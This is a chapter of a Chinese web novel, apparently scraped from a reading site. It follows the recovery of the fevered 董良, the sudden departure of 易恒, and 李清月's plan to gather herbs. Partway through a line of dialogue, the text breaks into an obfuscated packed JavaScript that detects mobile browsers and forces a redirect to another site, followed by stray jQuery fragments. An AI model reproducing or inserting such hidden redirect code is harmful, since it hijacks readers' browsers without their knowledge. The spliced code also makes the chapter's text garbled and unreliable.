默认冷灰
24号文字
方正启体

6. 梦魇缠身

作者:_幾錢_本书字数:K更新时间:
    先是无尽的极寒,望不到边际的冰冷,那寒意像一只毒蝎,在身体里啃食着五脏六腑,就算用火烤也驱逐不尽,硬生生冷得人浑身打颤。


    再然后便是炽热,像盛夏火辣的太阳,身上说不出的黏腻,脑中一片混沌,满心匮乏,好想踏实的睡一觉,却被梦魇搅得支离破碎。


    他梦见一团熊熊烈火,将自己困在一间逼仄的房中,屋外张灯结彩、歌舞升平,却没有一丝光亮从门窗落进来。密密匝匝的黑暗中,伸手不见五指,火焰照不亮陈设,仿若凝固在一片黑雾中。他就蜷缩在床上,忍着满身的冷汗一阵阵颤栗,疼痛与恐惧催生出的呜咽几乎要溢出嘴角,被他硬生生吞进腹中。


    还要忍多久才能从这个不见天日的囚笼中逃走?


    他心中愈发绝望……直到听见有人在不远处唤他的名字。


    “之恒……”


    他微微蜷了一下手指。


    “之恒……醒醒,你怎么了?”


    一只微凉的手轻轻拨开他的额发,粘黏不爽的汗渍都由浸着温水的帕子揩去了,他的眉心也渐渐舒展开,不再颤抖。


    那温柔一滴一滴如夜里的秋雨一般点在他的脸颊上,仿若身处一捧温润的山泉水中,身心舒畅。


    “李清月……”


    董良哑着嗓子开口,不说半句便想偏头轻咳。


    “你终于醒了,”她松了口气,“我刚刚怎么唤你都不应,眉头紧锁一直在发抖。”


    他缓缓掀起眼帘,看着坐在床边一脸关切的姑娘,忽感无措,微微启唇想说句什么,还是别过视线,乏力的撑着身子想坐起来。


    李清月立即伸手去扶他,摸到一手腰侧滑腻的软肉,眼神不自觉去瞥,看见董良凌乱的衣衫下露出精壮的腰际,因为发热泛着微红,湿汗黏着单薄的里衣、寥寥几笔勾勒出身形的弧度,还有……李清月立即转开眼神,顾不上再想太多,引起一阵心悸。


    董良面不改色的扯端正衣裳下摆,靠坐到床上,搁在以前他或许有心逗弄一下李清月,看看她是否会无措的屈服于自己的一句责备,只是此刻脑中还有头晕的余韵在作祟,神志难以清明。


    “要……要喝水吗?”


    董良微微点头,暗自在心中努力拼凑着昨夜的记忆,只可惜不知是不是被方才那只手“轻薄”了一下,半晌思绪依旧紊乱,索性不再去想。


    李清月觑着他的神色,有种做贼心虚的把茶杯递给他,看着对方似是不打算追究方才的“冒犯”,心中狐疑:不是他自己提的“约法三章”,不准有过界的接触吗?怎么现下又不怪罪了。


    对于算不算越界,李清月心中是有自己的一套说法的。想当年她大病一场差点烧坏了脑子,本就少的可怜的心眼也付之东流,那些东西之后也没人再教授给她,就连吃饭穿衣一开始也是依葫芦画瓢自己摸索着做的。简直和一只嫌弃穿衣麻烦的野猴一般,无拘无束惯了,自然不与端庄大方这些词沾边。


    她心里一直觉得,自己捡到董良大概就是上天命定的缘分,看她这两年过的太苦、几经波折,赐金银珠宝这等身外俗物实在有失体统,所以送了个漂亮的人来陪自己。


    李清月待他就如儿时玩伴易恒一般,自认为都是同吃一锅饭的家人、挚友。她与家人之间可从没有那么多繁琐冗长的礼节,一向都是随心所欲,幼时她还与易恒同睡一张床,同穿一条裤子呢,哪有什么男女之分?


    但直到董良提出保持距离时,她才幡然醒悟,原来自己好像一直是错的,可什么是正确的,她也没有见过,只好听从这位学识渊博的公子。


    “怎么了?”董良接过水喝下润喉,这才缓过来了一些,口舌的干燥冲淡了许多。


    李清月赶忙回神摇了摇头,心里打消那些七上八下的念头,转而又开始忧心别的,紧蹙着眉头开口道:“你现在好些了吗?昨夜快将我吓死了,忽的一下立在我床前,还没开口说几句就直挺挺倒在我身上,我以为有人从背后捅了你一刀呢。”


    董良模糊的忆起一些片段,好像是有这么一回荒唐事,只是事情原委早已无从考究,端出一副毫不知情的无辜样子来,说道:“是吗?我方才清醒,只记得昨夜迷蒙中有人抱我,原来是真的,看来应该是你。”


    这一番颠倒黑白,他自己听了都想笑。


    李清月听了无端背上趁夜欲行不轨的罪名,一时间连气都不知道从何开始,眨眨眼睛吐出一句无力的辩白:“明明是你……”


    “不记得了,”董良打死不承认,还硬要衬托自己善解人意,“无妨,左右我明白你是为了帮我治病才出此下策,我不会怪你。”


    李清月看着眼前病中虚弱、致使脸色都有些苍白的翩翩公子,还真有些信了他的鬼话,顺着他的意思说下去了。


    “你昨夜高烧不退,人都不清醒了,不记得也正常,不过幸好只是着凉引起的,并不算严重,今早已然退烧了。”


    李清月说着转身将桌上的药碗端过来,小心的递到董良面前,“先把早上的药喝了,我起早煎的,此时已经不烫了,就是有些苦,不过我觉着你应当不会因为苦不喝药。”


    董良打量了一下药汤,色泽上看不出什么古怪,不过若是她真有意害自己,也用不着这样麻烦的手段,于是便接过一饮而尽了。


    “之恒,你这风寒来的并非蹊跷,”李清月接过空了的药碗,“你近些日子穿的太过单薄……村里没有什么好料子,这几件都是我从别家借来的,顶多只能凑合穿,可往后深秋隆冬……”


    “无妨。”他摇了摇头,不自觉拉紧了一些被子,感受着衣物粗糙的布料硌着皮肤,生出一丝厌烦,不过自己早晚都要离开,又何必拘泥这些小节。


    李清月这会功夫已经盘算着要选什么颜色的料子、又去镇上哪里缝出成衣了,只可惜她不知道自己牵肠挂肚的人在想怎么快点离开这,还有些没心没肺的笑了一下道:“这个你不必担心,这几日只管静养便是,虽说只是小风寒,但你旧伤未愈,寒气入体最容易反复,还是小心为妙,一日三次药汤,也尽量不要下床,近日秋雨连绵,别再加重了。”


    董良对此只是不咸不淡都点了点头,到底有没有在心谁也不知道,不过他倒是开始有些生疑,这个在乡野长大的丫头能有多大见识,怎么会对病症与用药了解的这般细密,初次相遇时也是波澜不惊的处理好自己的刀伤,以及那多日以来的换药、煎药。


    董良曾仔细猜想过各种可能,但终究没有什么值得推敲的说法,再加上她对自己并不算差,虽有心提防,可日渐相熟中对方确实不过是个普通姑娘,还有些过于天真,不谙世事。


    李清月起身收好药碗,翻动着药包里剩下的药材,董良多心问了一句:“易兄怎么不在?还没有起吗?”


    李清月思及此处无比懊恼,一脸失落的转过头说:“他今早便走


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074696|195234||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。”


    “走了?”董良微微一愣。


    李清月点点头,莫名有些委屈,“他明明答应我住满一月再走,却说有要事在身,十万火急,恐怕要早做筹备,今早便走了,此时应当已经进城了。”


    “进城了?”董良有些意外,微微眯起眼睛,这个易恒不像是冲动鲁莽的人,反而做事心有成算,再加之有武功傍身,心系着李清月,怎么走的那么匆忙……此事必然不会那么简单。


    原本董良还打算再问些什么,但看着李清月一副泫然欲泣的模样,忽然有些说不出口,还是忍住没再发问,换了句话扯道:“这些风寒药都是从何而来?”


    好在李清月没再多想,接着话茬说:“这些都是入秋前备下的,镇上远,药铺又只有两家,一入了秋冬便短缺药材,伤风止咳的更是难买,所以今年我早早就备下了。”


    谈话间董良感觉喉头一股痛痒难耐,这嗓子随着主人也是几经波折,如今染病,说几句便想咳嗽,董良瞥了一眼桌上的茶杯,还是忍下了。


    “我这一病恐怕要耗费不少吧。”


    李清月摇摇头道:“没关系,我身子好,再者也并非遍寻不到,这些都是最寻常的药材,不是什么稀罕物……只是这下可麻烦了。”


    “怎么了?”


    “风寒药只剩下最后一包了。”李清月一脸犯难的说。


    “无妨,热烧已然退了,夜里注意些便好了。”董良没有当回事,不过是寻常小病,再重的伤他都忍下来了,在鬼门关也算青史留名,多将养几日即可,也省得成日像个弱柳扶风的病秧子一般卧床不起。


    李清月忽然摆出一脸正色,一改往日懒散心大的模样,仿若这是件关乎生死存亡的大事:“不行,药不能断,否则要落下病根的,往后的寒冬可就不好过了。”


    董良有些意外的看着她,忘记了收敛神色,“那该怎么好?”


    李清月丝毫没有犹豫,指着地上的破箩筐,不容置疑地说:“我去附近山头给你采草药。”


    昨夜的那张秋雨真可谓气势恢宏,浩浩荡荡,让人以为盛夏的雷雨还萦绕在上空,与秋风纠缠不清。


    天色黑压压的,村子附近也尽是土路,莫说山路,就是平地也熬成了糨糊,一踩一脚拖拖拉拉的泥水点,凡是干净人都不想在这种天出门,在外行路的大多是为了生计不得已风雨漂泊的人。


    而且这秋雨不知何时还会再下一场,山路陡峭难行,越接近晨昏便越刺骨寒冷,此时孤身一人去到山里,若非老练之人,恐怕连尸骨都难寻。


    董良自然是没有同意的,于情于理他都不该让一个小姑娘为自己上刀山下火海,他们非亲非故,虽然董良对她并无怜惜之意,却也没想过害她性命,更何况她若有事,自己很难忍受一个人住在这种穷乡僻壤,行事也多有不便。


    可李清月就是这么倔,她打定主意的事没人能掺和,不知道是不是自小就这样,性格使然还是后天养成,偏偏还爱多想、爱钻牛角尖,不过之前也没人拦过她,就让她这么一路畅通无阻的长到现在。


    李清月非要去,董良也没有再拦,现下天色尚早,她保证晚上一定能回来,她要董良乖乖在家等她,说这话时就像嘱咐为她暖床的丈夫一般,笑意盈盈的,没有丝毫畏惧。


    或许是因此,董良忽然想信她一次,信她能做到,信她能平安回来,为此,他默许了在家守候的承诺。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)